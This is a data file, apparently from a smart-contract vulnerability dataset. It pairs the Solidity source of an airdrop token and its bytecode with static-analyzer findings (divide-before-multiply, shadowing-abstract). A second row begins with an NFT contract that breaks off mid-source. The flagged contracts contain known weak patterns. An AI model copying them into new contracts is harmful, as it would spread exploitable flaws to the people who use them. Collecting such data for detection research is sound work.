require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461015e578063095ea7b3146101ee57806318160ddd1461025357806323b872dd1461027e578063313ce567146103035780633ccfd60b1461032e5780633fa4f2451461034557806342966c6814610370578063502dadb01461039d57806370a0823114610403578063729ad39e1461045a57806395d89b41146104c05780639b1cbccc146105505780639c09c8351461057f578063a8c310d5146105e5578063a9059cbb1461068e578063aa6ca808146106f3578063c108d542146106fd578063c489744b1461072c578063d8a54360146107a3578063dd62ed3e146107ce578063e58fc54c14610845578063efca2eed146108a0578063f2fde38b146108cb578063f3e4877c1461090e578063f9f92be41461097e575b61015c6109d9565b005b34801561016a57600080fd5b50610173610b55565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b3578082015181840152602081019050610198565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fa57600080fd5b50610239600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8e565b604051808215151515815260200191505060405180910390f35b34801561025f57600080fd5b50610268610d1c565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d22565b604051808215151515815260200191505060405180910390f35b34801561030f57600080fd5b506103186110f8565b6040518082815260200191505060405180910390f35b34801561033a57600080fd5b506103436110fd565b005b34801561035157600080fd5b5061035a6111e1565b6040518082815260200191505060405180910390f35b34801561037c57600080fd5b5061039b600480360381019080803590602001909291905050506111e7565b005b3480156103a957600080fd5b50610401600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113b3565b005b34801561040f57600080fd5b50610444600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149f565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b506104be600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506114e8565b005b3480156104cc57600080fd5b506104d5611605565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105155780820151818401526020810190506104fa565b50505050905090810190601f1680156105425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055c57600080fd5b5061056561163e565b604051808215151515815260200191505060405180910390f35b34801561058b57600080fd5b506105e360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611706565b005b3480156105f157600080fd5b5061068c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506117f2565b005b34801561069a57600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611943565b604051808215151515815260200191505060405180910390f35b6106fb6109d9565b005b34801561070957600080fd5b50610712611b7e565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b5061078d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b91565b6040518082815260200191505060405180910390f35b3480156107af57600080fd5b506107b8611c7c565b6040518082815260200191505060405180910390f35b3480156107da57600080fd5b5061082f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c82565b6040518082815260200191505060405180910390f35b34801561085157600080fd5b50610886600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d09565b604051808215151515815260200191505060405180910390f35b3480156108ac57600080fd5b506108b5611f4e565b6040518082815260200191505060405180910390f35b3480156108d757600080fd5b5061090c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f54565b005b34801561091a57600080fd5b5061097c600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919050505061202b565b005b34801561098a57600080fd5b506109bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612143565b604051808215151515815260200191505060405180910390f35b600080600960009054906101000a900460ff161515156109f857600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610a5757600080fd5b6007546008541115610a6d576007546008819055505b60075460085411151515610a8057600080fd5b3391506008549050610a928282612163565b506000811115610af5576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600554600654101515610b1e576001600960006101000a81548160ff0219169083151502179055505b610b4b6201869f610b3d620186a060085461230a90919063ffffffff16565b61232590919063ffffffff16565b6008819055505050565b6040805190810160405280600481526020017f4c554d410000000000000000000000000000000000000000000000000000000081525081565b6000808214158015610c1d57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610c2b5760009050610d16565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60055481565b6000606060048101600036905010151515610d3957fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610d7557600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610dc357600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610e4e57600080fd5b610ea083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7283600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235890919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156111dd573d6000803e3d6000fd5b5050565b60085481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561129357600080fd5b3390506112e882600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235890919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113408260055461235890919063ffffffff16565b60058190555061135b8260065461235890919063ffffffff16565b6006819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141157600080fd5b600090505b815181101561149b57600160046000848481518110151561143357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611416565b5050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154657600080fd5b600960009054906101000a900460ff1615151561156257600080fd5b60ff82511115151561157357600080fd5b6007546008541115151561158657600080fd5b600090505b81518110156115d857600754600854111515156115a757600080fd5b6115ca82828151811015156115b857fe5b90602001906020020151600854612163565b50808060010191505061158b565b600554600654101515611601576001600960006101000a81548160ff0219169083151502179055505b5050565b6040805190810160405280600481526020017f4c554d410000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169c57600080fd5b600960009054906101000a900460ff161515156116b857600080fd5b6001600960006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176457600080fd5b600090505b81518110156117ee57600060046000848481518110151561178657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611769565b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185057600080fd5b600960009054906101000a900460ff1615151561186c57600080fd5b60ff83511115151561187d57600080fd5b8151835114151561188d57600080fd5b600090505b82518160ff16101561193e57600754828260ff168151811015156118b257fe5b90602001906020020151111515156118c957600080fd5b611907838260ff168151811015156118dd57fe5b90602001906020020151838360ff168151811015156118f857fe5b90602001906020020151612163565b50600554600654101515611931576001600960006101000a81548160ff0219169083151502179055505b8080600101915050611892565b505050565b600060406004810160003690501015151561195a57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561199657600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156119e457600080fd5b611a3683600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611acb83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600960009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611c3457600080fd5b505af1158015611c48573d6000803e3d6000fd5b505050506040513d6020811015611c5e57600080fd5b81019080805190602001909291905050509050809250505092915050565b60075481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d6a57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e0857600080fd5b505af1158015611e1c573d6000803e3d6000fd5b505050506040513d6020811015611e3257600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f0a57600080fd5b505af1158015611f1e573d6000803e3d6000fd5b505050506040513d6020811015611f3457600080fd5b810190808051906020019092919050505092505050919050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156120285780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561208957600080fd5b600960009054906101000a900460ff161515156120a557600080fd5b60ff8351111515156120b657600080fd5b60075482111515156120c757600080fd5b600090505b82518110156121155760075482111515156120e657600080fd5b61210783828151811015156120f757fe5b9060200190602002015183612163565b5080806001019150506120cc565b60055460065410151561213e576001600960006101000a81548160ff0219169083151502179055505b505050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600960009054906101000a900460ff1615151561218157600080fd5b6121968260065461237190919063ffffffff16565b6006819055506121b18260075461235890919063ffffffff16565b60078190555061220982600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828481151561231857fe5b0490508091505092915050565b60008082840290506000841480612346575082848281151561234357fe5b04145b151561234e57fe5b8091505092915050565b600082821115151561236657fe5b818303905092915050565b600080828401905083811015151561238557fe5b80915050929150505600a165627a7a72305820f9b17cb9d3f47609346169749fa0c754db4a2569fb1e42568700aee1c9b79bd00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 178 |
0xDaFe7ED9efF8797f547bab3A4b0eEE7e66c26e06 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
/*______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___
_____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_
___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_
__/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__
_\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____
_\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________
__\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________
____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________
_______\/////////__\///_______\///__\///////////__\///____________*/
contract CxipERC721 {
using Strings for string;
using Address for address;
function getRegistry () internal pure returns (ICxipRegistry) {
return ICxipRegistry (0xC267d41f81308D7773ecB3BDd863a902ACC01Ade);
}
event Transfer (address indexed from, address indexed to, uint256 indexed tokenId);
event Approval (address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll (address indexed owner, address indexed operator, bool approved);
event Withdraw (address indexed to, uint256 amount);
event PermanentURI (string uri, uint256 indexed id);
CollectionData private _collectionData;
uint256 private _currentTokenId;
uint256 [] private _allTokens;
mapping (uint256 => uint256) private _ownedTokensIndex;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => uint256 []) private _ownedTokens;
mapping (address => mapping (address => bool)) private _operatorApprovals;
mapping (uint256 => TokenData) private _tokenData;
address private _admin;
address private _owner;
uint256 private _totalTokens;
constructor () {}
function init (address newOwner, CollectionData calldata collectionData) public {
require (_admin.isZero (), 'CXIP: already initialized');
_admin = msg.sender;
_owner = address (this);
_collectionData = collectionData;
(bool royaltiesSuccess, /*bytes memory royaltiesResponse*/) = getRegistry ().getPA1D ().delegatecall (
abi.encodeWithSelector (
bytes4 (0xea2299f8),
0,
payable (collectionData.royalties),
uint256 (collectionData.bps)
)
);
require (royaltiesSuccess, 'CXIP: failed setting royalties');
_owner = newOwner;
}
function getIdentity () public view returns (address) {
return ICxipProvenance (getRegistry ().getProvenance ()).getWalletIdentity (_owner);
}
function owner () public view returns (address) {
return (isOwner () ? msg.sender : _owner);
}
function isOwner () public view returns (bool) {
return (msg.sender == _owner || msg.sender == _admin || ICxipIdentity (getIdentity ()).isWalletRegistered (msg.sender));
}
modifier onlyOwner () {
require (isOwner (), 'CXIP: caller not an owner');
_;
}
function setName (bytes32 newName, bytes32 newName2) public onlyOwner {
_collectionData.name = newName;
_collectionData.name2 = newName2;
}
function setSymbol (bytes32 newSymbol) public onlyOwner {
_collectionData.symbol = newSymbol;
}
function transferOwnership (address newOwner) public onlyOwner {
if (!newOwner.isZero ()) {
_owner = newOwner;
}
}
function supportsInterface (bytes4 interfaceId) external view returns (bool) {
if (
interfaceId == 0x01ffc9a7
|| interfaceId == 0x80ac58cd
|| interfaceId == 0x5b5e139f
|| interfaceId == 0x150b7a02
|| interfaceId == 0xe8a3d485
|| IPA1D (getRegistry ().getPA1D ()).supportsInterface (interfaceId)
) {
return true;
} else {
return false;
}
}
function ownerOf (uint256 tokenId) public view returns (address) {
address tokenOwner = _tokenOwner [tokenId];
require (!tokenOwner.isZero (), 'ERC721: token does not exist');
return tokenOwner;
}
function approve (address to, uint256 tokenId) public {
address tokenOwner = _tokenOwner [tokenId];
if (to != tokenOwner && _isApproved (msg.sender, tokenId)) {
_tokenApprovals [tokenId] = to;
emit Approval (tokenOwner, to, tokenId);
}
}
function getApproved (uint256 tokenId) public view returns (address) {
return _tokenApprovals [tokenId];
}
function setApprovalForAll (address to, bool approved) public {
if (to != msg.sender) {
_operatorApprovals [msg.sender] [to] = approved;
emit ApprovalForAll (msg.sender, to, approved);
} else {
assert (false);
}
}
function setApprovalForAll (address from, address to, bool approved) public onlyOwner {
if (to != from) {
_operatorApprovals [from] [to] = approved;
emit ApprovalForAll (from, to, approved);
}
}
function isApprovedForAll (address wallet, address operator) public view returns (bool) {
return
_operatorApprovals [wallet] [operator]
|| 0x4feE7B061C97C9c496b01DbcE9CDb10c02f0a0Be == operator // Rarible Transfer Proxy
|| address (OpenSeaProxyRegistry (0xa5409ec958C83C3f309868babACA7c86DCB077c1).proxies (wallet)) == operator // OpenSea Transfer Proxy
;
}
function transferFrom (address from, address to, uint256 tokenId) public {
transferFrom (from, to, tokenId, '');
}
function transferFrom (address from, address to, uint256 tokenId, bytes memory /*_data*/) public {
if (_isApproved (msg.sender, tokenId)) {
_transferFrom (from, to, tokenId);
}
}
function safeTransferFrom (address from, address to, uint256 tokenId) public {
safeTransferFrom (from, to, tokenId, '');
}
function safeTransferFrom (address from, address to, uint256 tokenId, bytes memory /*_data*/) public {
if (_isApproved (msg.sender, tokenId)) {
_transferFrom (from, to, tokenId);
}
}
function _exists (uint256 tokenId) private view returns (bool) {
address tokenOwner = _tokenOwner [tokenId];
return !tokenOwner.isZero ();
}
function _isApproved (address spender, uint256 tokenId) private view returns (bool) {
require (_exists (tokenId));
address tokenOwner = _tokenOwner [tokenId];
return (
spender == tokenOwner
|| getApproved (tokenId) == spender
|| isApprovedForAll (tokenOwner, spender)
|| ICxipIdentity (getIdentity ()).isWalletRegistered (spender)
);
}
function _clearApproval (uint256 tokenId) private {
delete _tokenApprovals [tokenId];
}
function totalSupply () public view returns (uint256) {
return _totalTokens;
}
function _transferFrom (address from, address to, uint256 tokenId) private {
if (_tokenOwner [tokenId] == from && !to.isZero ()) {
_clearApproval (tokenId);
_tokenOwner [tokenId] = to;
emit Transfer (from, to, tokenId);
} else {
assert (false);
}
}
function _mint (address to, uint256 tokenId) private {
if (to.isZero () || _exists (tokenId)) {
assert (false);
}
_tokenOwner [tokenId] = to;
emit Transfer (address (0), to, tokenId);
_totalTokens += 1;
}
function burn (uint256 tokenId) public {
if (_isApproved (msg.sender, tokenId)) {
address wallet = _tokenOwner [tokenId];
require (!wallet.isZero ());
_clearApproval (tokenId);
_tokenOwner [tokenId] = address (0);
emit Transfer (wallet, address (0), tokenId);
_totalTokens -= 1;
delete _tokenData [tokenId];
}
}
function cxipMint (uint256 id, TokenData calldata tokenData) public onlyOwner returns (uint256) {
if (id == 0) {
_currentTokenId += 1;
id = _currentTokenId;
}
_mint (tokenData.creator, id);
_tokenData [id] = tokenData;
emit PermanentURI (string (abi.encodePacked ('https://arweave.net/', tokenData.arweave)), id);
return id;
}
function tokenURI (uint256 tokenId) external view returns (string memory) {
return string (abi.encodePacked ('https://arweave.net/', _tokenData [tokenId].arweave, _tokenData [tokenId].arweave2));
}
function name () external view returns (string memory) {
return string (abi.encodePacked (Bytes.trim (_collectionData.name), Bytes.trim (_collectionData.name2)));
}
function symbol () external view returns (string memory) {
return string (Bytes.trim (_collectionData.symbol));
}
function baseURI () public view returns (string memory) {
return string (abi.encodePacked ('https://cxip.io/nft/', Strings.toHexString (address (this))));
}
function contractURI () external view returns (string memory) {
return string (abi.encodePacked ('https://nft.cxip.io/', Strings.toHexString (address (this)), '/'));
}
function creator (uint256 tokenId) external view returns (address) {
return _tokenData [tokenId].creator;
}
function payloadHash (uint256 tokenId) external view returns (bytes32) {
return _tokenData [tokenId].payloadHash;
}
function payloadSignature (uint256 tokenId) external view returns (Verification memory) {
return _tokenData [tokenId].payloadSignature;
}
function payloadSigner (uint256 tokenId) external view returns (address) {
return _tokenData [tokenId].creator;
}
function arweaveURI (uint256 tokenId) external view returns (string memory) {
return string (abi.encodePacked ('https://arweave.net/', _tokenData [tokenId].arweave, _tokenData [tokenId].arweave2));
}
function httpURI (uint256 tokenId) external view returns (string memory) {
return string (abi.encodePacked (baseURI (), '/', Strings.toHexString (tokenId)));
}
function ipfsURI (uint256 tokenId) external view returns (string memory) {
return string (abi.encodePacked ('https://ipfs.io/ipfs/', _tokenData [tokenId].ipfs, _tokenData [tokenId].ipfs2));
}
function verifySHA256 (bytes32 hash, bytes calldata payload) external pure returns (bool) {
bytes32 thePayloadHash = sha256 (payload);
return hash == thePayloadHash;
}
function onERC721Received (address /*_operator*/, address /*_from*/, uint256 /*_tokenId*/, bytes calldata /*_data*/) public pure returns (bytes4) {
return 0x150b7a02;
}
function _royaltiesFallback () internal {
address _target = getRegistry ().getPA1D ();
assembly {
calldatacopy (0, 0, calldatasize ())
let result := delegatecall (gas (), _target, 0, calldatasize (), 0, 0)
returndatacopy (0, 0, returndatasize ())
switch result
case 0 {
revert (0, returndatasize ())
}
default {
return (0, returndatasize ())
}
}
}
fallback () external {
_royaltiesFallback ();
}
receive () external payable {
_royaltiesFallback ();
}
}
library Address {
function isZero (address account) internal pure returns (bool) {
return (account == address (0));
}
function isContract (address account) internal view returns (bool) {
bytes32 codehash;
assembly {
codehash := extcodehash (account)
}
return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
}
library Strings {
function toHexString (address account) internal pure returns (string memory) {
return toHexString (uint256 (uint160 (account)));
}
function toHexString (uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString (value, length);
}
function toHexString (uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes (2 * length + 2);
buffer [0] = '0';
buffer [1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer [i] = bytes16 ('0123456789abcdef') [value & 0xf];
value >>= 4;
}
require (value == 0, 'Strings: hex length insufficient');
return string (buffer);
}
}
library Bytes {
function trim (bytes32 source) internal pure returns (bytes memory) {
uint256 temp = uint256 (source);
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return slice (abi.encodePacked (source), 32 - length, length);
}
function slice (bytes memory _bytes, uint256 _start, uint256 _length) internal pure returns (bytes memory) {
require (_length + 31 >= _length, 'slice_overflow');
require (_bytes.length >= _start + _length, 'slice_outOfBounds');
bytes memory tempBytes;
assembly {
switch iszero (_length)
case 0 {
tempBytes := mload (0x40)
let lengthmod := and (_length, 31)
let mc := add (add (tempBytes, lengthmod), mul (0x20, iszero (lengthmod)))
let end := add (mc, _length)
for {
let cc := add (add (add (_bytes, lengthmod), mul (0x20, iszero (lengthmod))), _start)
} lt (mc, end) {
mc := add (mc, 0x20)
cc := add (cc, 0x20)
} {
mstore (mc, mload (cc))
}
mstore (tempBytes, _length)
mstore (0x40, and (add (mc, 31), not (31)))
}
default {
tempBytes := mload (0x40)
mstore (tempBytes, 0)
mstore(0x40, add (tempBytes, 0x20))
}
}
return tempBytes;
}
}
struct Verification {
bytes32 r;
